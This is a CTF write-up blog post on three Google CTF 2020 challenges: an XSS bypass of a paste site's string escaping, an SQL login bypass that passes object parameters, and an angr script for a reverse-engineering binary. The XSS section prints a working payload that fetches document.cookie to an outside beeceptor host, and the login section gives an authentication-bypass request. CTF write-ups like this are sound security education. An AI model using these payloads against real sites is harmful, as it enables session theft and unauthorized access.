Google CTF 2020 Quals

Google CTF 2020 Quals with UETCTF - 282nd - 137pts.

Good ctf with several categories, unfortunately we were not able to play with our best.

[web] PASTEURIZE - 50pts

The challenge give us a link to a site https://pasteurize.web.ctfcompetition.com/ where we can create a paste.

Each paste has a GUID attached and an option to share the paste with TJMike. Sounds like a typical XSS challenge :')

I quickly test some XSS payloads but no luck. Basic HTML tags can get through which indicate that we have a filter somewhere to bypass.

We also have the source code at /source so let’s take a look at the source first. We have:

  • A /report which tells TJMike the GUID of your note to visit.

  • A /<GUID> to view the note. Properly escaped as said in the comment with the escape_string function before throwing the data into a template and deliver it to our browser.

The escape_string function is simply as follow:

The moment I found this function, I asked myself where my <script> tags gone as I did’t found it filtered anywhere in the source. Turns out it was front-end sanitization.

In the frontend code I can see my note in plaintext escaped with escape_string embedded. The note string get sanitized with DOMPurify.sanitize and put into note_url_el.innerHTML. The DOMPurify library might not be the vulnerability because it is recommended by many tutorial for frontend sanitization.

Another idea is, if we can somehow insert a quote " to break out of the string which is embedded into the template, we can run our javascript. Simply inserting a double quote " results in a escaped quote \" and is not what we want.

The escape_string function takes a string, do JSON.stringify on it, .slice(1, -1) and then escape the angle brackets <>. This assume unsave to always be a string so the double quotes will be at the start and end of the whole string. unsafe is taken from user input.

By providing an array as POST parameter like content[]=a , I successfully break out of the string, results in a broken javascript. escape_string convert my input into ["a"] and then the square brackets are trimmed.

Nice! Let’s build our payload. We want to break out of the string, put a semicolon and then our js. A payload like content[]=;alert(1)// should do the trick.

Now just craft a payload to steal the user cookie, send our note to TJMike and get the flag.

content[]=;fetch('https://tacbliw.free.beeceptor.com/?c='%2Bdocument.cookie)//

Flag: CTF{Express_t0_Tr0ubl3s}


[web] LOG-ME-IN - 87pts

We have the challenge’s source code and a link to the challenge website. The website allows users to login with username and password, a /flag to get the flag.

Let’s see how the login implemented.

The /login takes a username and a password parameter, and perform a SQL query to validate the password. If the password is correct, it check if our username is targetUser or not to set the flag.

Normal SQLi doesn’t work because of the con.query which will correctly bind input values into the SQL statement.

I quickly setup a test server to see if we can mess up with the parameter. The test server takes some user input and echo back the SQL statement after the binding.

After a few test I realized that I could provide my parameters as a dictionary and get some “weird” result.

If the variable passed to con.query is a dictionary, we get `key` = 'value' replaced into the query string. Trying that statement give us an interesting error:

ERROR: 1054: Unknown column 'a' in 'where clause'

It’s trying to interpret our key as a column name because of the backticks `. Using a valid column name as the key and the error is gone. Bingo :D

sql > Select * from users where username = 'michelle' and password = `username` = 'b';
+----------+----------+
| username | password |
+----------+----------+
| michelle | secret   |
+----------+----------+
1 row in set, 1 warning (0.0024 sec)
Warning (code 1292): Truncated incorrect DOUBLE value: 'b'

Now we are able to login and get the flag. My final payload is

csrf=fc53dfbc-dd24-44e1-b791-90ee7d06c606&password[username]=a&username=michelle

Flag: CTF{a-premium-effort-deserves-a-premium-flag}


[rev] BEGINNER - 50pts

I didn’t solve this challenge on time as I had trouble rewriting the logic in Python. But I decided to share my process and then finally the solution in writeups :v

The challenge give us an ELF binary, let’s open it in ida.

The program reads 15 character from stdin, do some magic stuff and check with strcmp. It’s clear that we have to type in the correct flag and it will puts("SUCCESS").

My first idea was to replicate the logic of _mm_xor_si128, _mm_add_epi32, _mm_shuffle_epi8 in Python, with the data harcoded in the binary.

The documentation about the functions can be found here.

I struggled a lot with the logic and didn’t get it to work. Looking at writeups after the competition ends, I saw people using Angr to solve it so freaking easily :'(

Final solve.py script from Dvd848 looks like this. Original writeup.


import angr
import claripy

FLAG_LEN = 15
STDIN_FD = 0

base_addr = 0x100000 # To match addresses to Ghidra

proj = angr.Project("./a.out", main_opts={'base_addr': base_addr}) 

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(FLAG_LEN)]
flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) # Add \n for scanf() to accept the input

state = proj.factory.full_init_state(
        args=['./a.out'],
        add_options=angr.options.unicorn,
        stdin=flag,
)

# Add constraints that all characters are printable
for k in flag_chars:
    state.solver.add(k >= ord('!'))
    state.solver.add(k <= ord('~'))

simgr = proj.factory.simulation_manager(state)
find_addr  = 0x101124 # SUCCESS
avoid_addr = 0x10110d # FAILURE
simgr.explore(find=find_addr, avoid=avoid_addr)

if (len(simgr.found) > 0):
    for found in simgr.found:
        print(found.posix.dumps(STDIN_FD))

Definitely learn Angr :'( . Flag: CTF{S1MDf0rM3!}

wildcat
wildcat
Cat lover, CTF player with u0K++

I play CTF

Next
Previous

Related